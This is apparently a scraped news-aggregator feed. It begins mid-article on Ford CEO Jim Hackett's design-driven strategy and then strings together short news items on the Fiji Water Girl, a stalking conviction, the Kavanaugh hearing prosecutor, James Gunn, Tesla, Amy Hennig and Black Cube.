“It helped everyone realize they were speaking a common language,” Palmer said. The exercise also produced a common finding. As drivers, “people want their stuff,” Mason said. “If they use Spotify, they want to use Spotify”—not a carmaker’s alternative system. “More than anything, they want to use their own digital ecosphere. Or else they’re just going to stick the phone on the windscreen.”

This was a profound realization. “The phone was considered an accessory you brought into your vehicle,” says Ideo’s global managing director, Iain Roberts. “Now I think the relationship may have flipped—the vehicle is an accessory to the device.” That’s the kind of insight that previously would have surfaced late in the design process, when the company would ask for customer feedback on a close-to-finished product. Discovered early, it put the team on a path to build a prototype that was ready in an unheard-of 12 weeks.

That kind of speed, Hackett argues, is achieved only by taking things slowly at first. The idea is that you’ll end up spending less time redoing things—or designing features that people don’t want at all. “Often the ideas we have are completely wrong,” Palmer told me. “So we can kill ideas very fast, too.”

In China, for instance, Ford is putting customers into comically primitive prototypes—foam body, cardboard seats—and asking them to role-play driving scenarios, teasing out preferences they might not have thought to articulate. Captured on video, a driver’s backwards glance at his mother-in-law revealed that her comfort was more important to him than his own. Thenceforth, the back seat took on greater significance in the design process.

At Hackett’s Ford, you don’t move to the “make” phase until you have a deep understanding of how people use their cars and, even more important, why. In the Dearborn studio, I stepped into a more developed mock-up of a semiautonomous vehicle. As we came to the moment in the simulation when, merging onto the interstate, control passed from me to the car, my seat sank down and away from the steering wheel—enough to signal the transfer of power, but not enough to trigger loss-of-control panic. Earlier test-drivers had helped find that exact threshold.

“If you look at business history, the winners are almost always those that get their user experience right,” Hackett said, though he allowed that putting a UX person in charge of the whole show has its pitfalls. “There’s a part of me that would want to spend all my time in here,” he told me while we were in the design studio. “I get so much joy and lift from thinking about the potential of things. But when I walk out of here, I have another kind of accountability, which is, I’ve got to—we’ve got to—deliver results. We have shareholders. That’s a design problem unto itself. How do you weld the two together?”

The Steve Jobs who left Apple in 1985, by most accounts, had not found a way. He was blindsided by inventory buildups, pitted departments against one another, and eventually lost the confidence of Apple’s board. Hackett knows that he needs to be more like the Jobs who returned to the company as CEO in 1997. Future-focused, yes. But aware that the future is built with cash generated in the now.

How much time will Hackett get? The company’s stock has lost a third of its value in the past year. Tesla’s market cap is close to double that of Ford’s. And yet: A decade ago, the 11th-floor conference room of the headquarters building was the scene of desperate negotiations to avoid bankruptcy. Today, the mahogany furniture is gone. It’s now an open workspace full of engineers and data scientists, sleeves rolled up, sketching the future and Ford’s position in arguably the greatest race in business. “It will take some time,” Hackett said. But he’d rather get the right answers slowly than the wrong ones quickly.

And with that, Hackett wistfully exited the design studio’s futuristic white space and walked back out into the present.

This article appears in the March 2019 print edition with the headline “Why Ford Hired a Furniture Maker as CEO.”

]]> https://briefnews.eu/why-ford-hired-a-furniture-maker-as-ceo/feed/ 0 A photographer hired by Fiji Water helped create the viral ‘Fiji Water Girl’ meme because no one was drinking the bottled water at the Golden Globes https://briefnews.eu/a-photographer-hired-by-fiji-water-helped-create-the-viral-fiji-water-girl-meme-because-no-one-was-drinking-the-bottled-water-at-the-golden-globes/ https://briefnews.eu/a-photographer-hired-by-fiji-water-helped-create-the-viral-fiji-water-girl-meme-because-no-one-was-drinking-the-bottled-water-at-the-golden-globes/#respond Thu, 10 Jan 2019 16:44:12 +0000 http://briefnews.eu/a-photographer-hired-by-fiji-water-helped-create-the-viral-fiji-water-girl-meme-because-no-one-was-drinking-the-bottled-water-at-the-golden-globes/ fiji water girlStefanie Keenan/Getty Images for FIJI Water

  • “Fiji Water Girl” stole the show on the red carpet Sunday at the Golden Globes. 
  • Many people may not have realized that the photographer who caught the photo-bombing model carrying Fiji Water was actually commissioned to photograph the Golden Globes by the bottled water brand. 
  • While the photographer was told to get shots of celebrities drinking Fiji Water on the red carpet, she changed plans and had the Fiji Water ambassador creep into the background of shots.

A new twist has emerged in the saga of the Fiji Water Girl. 

Model and Fiji Water ambassador Kelleth Cuthbert stole the show at the Golden Globes on Sunday after appearing in photograph after photograph on the red carpet. 

See the rest of the story at Business Insider

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SEE ALSO: Jamie Lee Curtis slammed the Fiji Water Girl and the brand’s ‘blatant promotion’ at the Golden Globes

]]> https://briefnews.eu/a-photographer-hired-by-fiji-water-helped-create-the-viral-fiji-water-girl-meme-because-no-one-was-drinking-the-bottled-water-at-the-golden-globes/feed/ 0 ‘Vicious’ stalker moved countries, hired private eye & ordered £200 of pizza to pursue her ex https://briefnews.eu/vicious-stalker-moved-countries-hired-private-eye-ordered-200-of-pizza-to-pursue-her-ex/ https://briefnews.eu/vicious-stalker-moved-countries-hired-private-eye-ordered-200-of-pizza-to-pursue-her-ex/#respond Fri, 23 Nov 2018 04:15:21 +0000 http://briefnews.eu/vicious-stalker-moved-countries-hired-private-eye-ordered-200-of-pizza-to-pursue-her-ex/ An Irish woman has been jailed for four years after a “sinister and sustained” decade-long harassment campaign against her ex-boyfriend, whom she drove to thoughts of suicide with inventively relentless stalking.

The sentence was handed at Lewes Crown Court, after Lina Tantash was found guilty on two counts of stalking, and handed a series of restraining orders.

Then Dublin-based Tantash, 44, described during the trial as a “highly intelligent” project planner at Trinity College, began a relationship with filmmaker Jarlath Rice, 50, back in early 2007.

Perhaps sensing already that they were not a perfect match, Rice ended the union just weeks later. But to Tantash this was simply a man in denial of his feelings.

20,000 texts & 40 calls a day 

So began her campaign to show him true love.

Tactics developed from the standard: turning up on his doorstep, sending 20,000 texts, calling him up to 40 times a day at work, sometimes putting on fake accents to get through, and setting up 11 separate email accounts to dispatch romantic declarations (sample name: jarlathswitchthephoneonby9am@gmail.com).

But as Rice blocked her, and moved houses – once even staying in a hotel – Tantash grew more persistent. She typed up a 21-point “Love Contract” according to which Rice would have to return her calls within 15 minutes, “be nice”, admit that they were in a relationship, and marry her within a year. In return, Tantash, who comes from a privileged background, told the judge that she paid off his debts totaling over €50,000 ($ 57,000).

Rice said that he signed the document, and a later, expanded 40-point version, in the vain hope that she would lay off him. Instead, as psychologists say is typical in such cases, it simply spurred Tantash on.

Finally, the victim decided that it would be safest to change countries, and relocated to Brighton, to take up a position as a college lecturer. Tantash, who at one point hired a private detective, and put up a £1,500 (almost $ 2,000) reward on Facebook to acquire Rice’s contact details, tracked him down and successfully applied for a job in nearby Croydon, within stalking distance of her beloved.

‘Suicide ideation’

But in the absence of reciprocation, the tools for getting attention grew more dark and desperate. There was £200 worth of pizza ordered to his office in his name, as a gift. As punishment, she turned up in his workplace function threatening to kill herself or his colleagues. She began calling those close to him with threats, and allegations that he owed her money (purportedly for breaking the “love contract”).

Read more


Jacqueline Claire Ades speaking to reporters from jail in Arizona

As well as hacking his voicemail, Tantash physically assaulted Rice, leaving him with a shoulder injury that he said he still struggles with. But that was nothing next to the mental anguish.

“The aggressive and abusive dismantling of my life has left me vulnerable, frightened and exhausted,” Rice said in a statement, adding that he was “pushed deep into depression.”

“At my worst I have gone through periods of despair with suicide ideation.”

Tantash received her belated comeuppance only when she refocused her energies on supposed rival Sarah Bolland, Rice’s Brighton colleague.

Bolland told the court that she had no relationship with Rice, and that she was simply picked out from the staff section of the college website, to become a target for insults and death threats.

She said Rice was so caught up in Tantash’s delusions that he became convinced that he was partly to blame, which may have delayed any potential police action. 

‘Devious and manipulative woman’

Read more


© Susana Vera

Tantash, who said that she suffered from psychological problems as part of her defense, was finally arrested last October, though continued to pester Rice even with the charges hanging over her until February this year.

During proceedings Tantash quarreled with court officials, and attempted to blame Rice for her actions, claiming he was a “narcissist” who “gaslighted” her, and alleging that she was only ever present at various public occasions uninvited as a result of “coincidences.”

“In my opinion you are vicious, devious and manipulative woman. You should be thoroughly ashamed of what you have done to Mr Rice and Miss Bolland,” said Recorder Stephen Lennard, as he read out the sentence.

Accepting her punishment, and claiming she now “deeply regrets” her behavior Tantash has offered to leave the UK upon serving her term.

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]]> https://briefnews.eu/vicious-stalker-moved-countries-hired-private-eye-ordered-200-of-pizza-to-pursue-her-ex/feed/ 0 Meet the sex-crimes prosecutor Republicans hired to question Brett Kavanaugh and Christine Blasey Ford at their upcoming sexual-assault hearing https://briefnews.eu/meet-the-sex-crimes-prosecutor-republicans-hired-to-question-brett-kavanaugh-and-christine-blasey-ford-at-their-upcoming-sexual-assault-hearing/ https://briefnews.eu/meet-the-sex-crimes-prosecutor-republicans-hired-to-question-brett-kavanaugh-and-christine-blasey-ford-at-their-upcoming-sexual-assault-hearing/#respond Wed, 26 Sep 2018 22:43:09 +0000 http://briefnews.eu/meet-the-sex-crimes-prosecutor-republicans-hired-to-question-brett-kavanaugh-and-christine-blasey-ford-at-their-upcoming-sexual-assault-hearing/ Brett KavanaughAlex Wong/Getty Images

  • Senate Judiciary Committee Republicans announced on Tuesday that they hired Maricopa County, Arizona sex crimes prosecutor Rachel Mitchell to question Brett Kavanaugh and Christine Blasey Ford in a hearing centered on Ford’s sexual assault allegations against Kavanaugh.
  • The only interviews Mitchell has ever done is with a publication put out by the far right ‘fundamental baptist’ organization Fundamental Baptist Fellowship International, Talking Points Memo has learned.
  • The organization is closely tied to Bob Jones University and espouses a range of hyper-traditionalist views on gender, sexuality and sexual ethics.

Earlier this evening, the Majority on the Senate Judiciary Committee announced that their “female assistant” hired to asked their questions at the Thursday hearing with Judge Kavanaugh and Professor Blasey Ford would be a Maricopa County, Arizona sex crimes prosecutor named Rachel Mitchell.

It turns out one of the only interviews Mitchell has ever done is with a publication put out by the far right ‘fundamental baptist’ organization Fundamental Baptist Fellowship International, an organization closely tied to Bob Jones University and espousing a range of hyper-traditionalist views on gender, sexuality and sexual ethics.

See the rest of the story at Business Insider

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SEE ALSO: Republicans hired a female lawyer to question Brett Kavanaugh and Christine Blasey Ford in their upcoming sexual-assault hearing — but a lawyer for his second accuser says they’re being railroaded

]]> https://briefnews.eu/meet-the-sex-crimes-prosecutor-republicans-hired-to-question-brett-kavanaugh-and-christine-blasey-ford-at-their-upcoming-sexual-assault-hearing/feed/ 0 James Gunn Won’t Be Hired Back to Direct ‘Guardians of the Galaxy Vol. 3’ https://briefnews.eu/james-gunn-wont-be-hired-back-to-direct-guardians-of-the-galaxy-vol-3/ https://briefnews.eu/james-gunn-wont-be-hired-back-to-direct-guardians-of-the-galaxy-vol-3/#respond Thu, 16 Aug 2018 07:02:05 +0000 http://briefnews.eu/james-gunn-wont-be-hired-back-to-direct-guardians-of-the-galaxy-vol-3/ James Gunn Not Rehired for Guardians of the Galaxy Vol 3

After weeks of anticipation, an open letter from the cast of Guardians of the Galaxy, hundreds of thousands of vocal fans and fellow celebrities expressing support, and rumblings that James Gunn might be hired back by Walt Disney Pictures and Marvel Studios to direct Guardians of the Galaxy Vol. 3, all hopes for the director’s return to the franchise are now gone.

James Gunn will not be hired back to direct Guardians of the Galaxy Vol. 3. Disney and Marvel are said to be standing by their decision not to reinstate him, and this comes after a meeting took place with James Gunn himself and Walt Disney Studios chairman Alan Horn.

Variety has the depressing news of Disney and Marvel’s difficult and upsetting decision. Apparently James Gunn and his representatives from United Talent Agency made quite the push for the filmmaker to have a second chance, and that’s why Alan Horn agreed to have a meeting to discuss the possibility. There may have never been any real hope to begin with since this was described as a “courtesy meeting” that was very “civil and professional.”

One would think that Marvel Studios president Kevin Feige would have been there to help make the case for James Gunn’s reinstatement, but he was said to be out of town (possibly on the set of Spider-Man: Far From Home across the pond) and thus unable to attend. Feige was reportedly pushing for Gunn to be rehired as well, but he also stands by the studio’s decision and won’t continue to fight them on the matter.

What Happens Now?

When Kevin Feige comes back into town, Disney and Marvel will figure out who will take over as director of Guardians of the Galaxy Vol. 3. Frankly, I don’t envy anyone taking that job, because they’ll be held to a very high standard and under much scrutiny with every detail that comes out about the film.

It’s still unclear whether or not Disney and Marvel will use James Gunn’s original script for Guardians of the Galaxy Vol. 3. Recently rumors said they would likely keep the draft he turned in, but whoever is brought in to direct will likely need to go through it as well and might make some changes. Here’s hoping they reach out to Gunn for some consulting instead of just leaving him high and dry.

It remains to be seen what the cast will do in the wake of this decision. Obviously they all have contracts, but Dave Bautista already expressed a desire to be let out of his contract if James Gunn wasn’t brought back to the franchise. And Chris Pratt recentl said it’s not an easy time right now. It’ll be interesting to see what they all do now that the decision is final.

Production on Guardians of the Galaxy Vol. 3 was meant to begin early next year, but it hasn’t been determined if that timetable will be pushed back at all with this substantial hiccup in the process. Plus, who knows what this means for the future of the Marvel Cinematic Universe since the sequel was intended to kick off the next 10 years of films in the interconnected comic book movies franchises.

The good news is that James Gunn isn’t anywhere near blacklisted after this debacle. We’ve already heard about several studios who were waiting to offer the director projects once Disney solidified their decision on the matter. Warner Bros. Pictures is believed to be among them, so maybe he’ll get back in the comic book movie saddle again after all. There’s a Green Lantern Corps. movie that still needs a director after all.

The post James Gunn Won’t Be Hired Back to Direct ‘Guardians of the Galaxy Vol. 3’ appeared first on /Film.

]]> https://briefnews.eu/james-gunn-wont-be-hired-back-to-direct-guardians-of-the-galaxy-vol-3/feed/ 0 Elon Musk says he’s hired Goldman Sachs to help take Tesla private — even though the bank’s analyst is one of the most bearish on Wall Street (TSLA) https://briefnews.eu/elon-musk-says-hes-hired-goldman-sachs-to-help-take-tesla-private-even-though-the-banks-analyst-is-one-of-the-most-bearish-on-wall-street-tsla/ https://briefnews.eu/elon-musk-says-hes-hired-goldman-sachs-to-help-take-tesla-private-even-though-the-banks-analyst-is-one-of-the-most-bearish-on-wall-street-tsla/#respond Wed, 15 Aug 2018 07:18:55 +0000 http://briefnews.eu/elon-musk-says-hes-hired-goldman-sachs-to-help-take-tesla-private-even-though-the-banks-analyst-is-one-of-the-most-bearish-on-wall-street-tsla/ elon muskMax Whittaker / Getty Images

  • Elon Musk tweeted late Monday that he was “excited to work with Silver Lake and Goldman Sachs” in his plan to take Tesla private. 
  • Goldman Sachs’ analyst is one of the most bearish Tesla analysts on Wall Street, with a “sell” rating and $ 210 price target — 40% below where shares are trading.
  • Companies generally favor banks whose analysts rate them favorably. 
  • Musk is no stranger to hating Tesla bears, and interrupted two analysts with “sell” ratings on the company’s first-quarter conference call. 
  • Follow Tesla’s stock price in real-time here. 

Elon Musk hasn’t been one to hide his disdain for Tesla skeptics on Wall Street.

But when it came time to hire bankers to advise him on taking the company private, the Tesla CEO enlisted a bank home to one of the most bearish Tesla analysts on Wall Street. Goldman Sachs’ automotive analyst David Tamberrino has had a “sell” rating on the stock since February 2017.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/elon-musk-says-hes-hired-goldman-sachs-to-help-take-tesla-private-even-though-the-banks-analyst-is-one-of-the-most-bearish-on-wall-street-tsla/feed/ 0 Amy Hennig, who was hired to make an EA Star Wars game, has left EA https://briefnews.eu/amy-hennig-who-was-hired-to-make-an-ea-star-wars-game-has-left-ea/ https://briefnews.eu/amy-hennig-who-was-hired-to-make-an-ea-star-wars-game-has-left-ea/#respond Thu, 28 Jun 2018 20:56:15 +0000 http://briefnews.eu/amy-hennig-who-was-hired-to-make-an-ea-star-wars-game-has-left-ea/

Enlarge / Schreier even got his hands on leaked concept art for Visceral’s canceled Star Wars game, which was code-named “Ragtag.” It would have starred a Han Solo-like character named Dodger. (credit: Kotaku/EA)

Official word about EA’s most troubled Star Wars video game has dried up since a major October announcement, but its former director, game development legend and Uncharted series creator Amy Hennig, confirmed a few key pieces of news on Thursday—including her official departure from the game publisher.

Hennig took the stage at the Gamelab Conference in Barcelona for a Q&A, where she confirmed to Eurogamer critic and reporter Rob Purchese that she had “not worked at EA since January, technically, legally.” In October, EA had claimed that the company was “in discussions” about where Hennig would land following the closure of her game studio, Visceral Games, and what would happen with the major reboot of the Star Wars game they’d been making.

EA officially confirmed in an October blog post that the untitled Star Wars game had not necessarily been canceled, but between a full studio’s closure and “shifting the game to be a broader experience that allows for more variety and player agency,” it would almost certainly not resemble Hennig and Visceral’s original project, which EA had described as “a story-based, linear game.” Soon after, Kotaku’s Jason Schreier reported a lengthy story about that game’s troubled development, citing anonymous reports of leadership clashes, shrinking staffs, and more.

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]]> https://briefnews.eu/amy-hennig-who-was-hired-to-make-an-ea-star-wars-game-has-left-ea/feed/ 0 All the companies that hired Michael Cohen have an Enron problem https://briefnews.eu/all-the-companies-that-hired-michael-cohen-have-an-enron-problem/ https://briefnews.eu/all-the-companies-that-hired-michael-cohen-have-an-enron-problem/#respond Sat, 12 May 2018 06:24:37 +0000 http://briefnews.eu/all-the-companies-that-hired-michael-cohen-have-an-enron-problem/ michael cohenMary Altaffer/AP

  • Thinking patterns at all the companies that hired Michael Cohen, President Donald Trump’s lawyer, smack of those at Enron before it became one of the biggest bankruptcies in recent history.
  • Basically, they hide behind the fact that they’re following the law on paper while obviously violating the spirit of the law in practice. 

If your company hired Michael Cohen, it has an Enron problem.

Specifically, it is a company that understands how to push the letter of the law while ignoring the spirit of the law. It is a company where people only care if things are right on paper but couldn’t care less if they’re wrong in practice.

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]]> https://briefnews.eu/all-the-companies-that-hired-michael-cohen-have-an-enron-problem/feed/ 0 Trump aides reportedly hired an Israeli intelligence agency to dig up dirt on Obama’s Iran deal team https://briefnews.eu/trump-aides-reportedly-hired-an-israeli-intelligence-agency-to-dig-up-dirt-on-obamas-iran-deal-team/ https://briefnews.eu/trump-aides-reportedly-hired-an-israeli-intelligence-agency-to-dig-up-dirt-on-obamas-iran-deal-team/#respond Mon, 07 May 2018 09:26:20 +0000 http://briefnews.eu/trump-aides-reportedly-hired-an-israeli-intelligence-agency-to-dig-up-dirt-on-obamas-iran-deal-team/ donald trump obamaAlex Wong/Getty Images

  • Aides to President Donald Trump reportedly hired a private Israeli intelligence agency to dig up dirt on Obama’s negotiators of the 2015 Iran nuclear deal.
  • The presidential team contacted the firm days after Trump visited Israel during his first trip as President in order to “discredit those who were pivotal” in the deal.
  • The wives of two members of Obama’s administration were contacted by dubious foreign investors, as was a prominent Iranian-American writer.
  • The firm aides contacted was reportedly Black Cube, the same organization Harvey Weinstein used to discredit his accusers.

Aides to President Donald Trump contacted a private Israeli intelligence agency to dig up dirt on negotiators of the 2015 Iran nuclear deal who worked in the Obama administration, The Observer reported Sunday.

The aides contacted the firm days after Trump visited Israel during his first trip as president, sources told The Observer. During that trip, Trump promised Israeli President Benjamin Netanyahu that Iran would never get nuclear weapons. 

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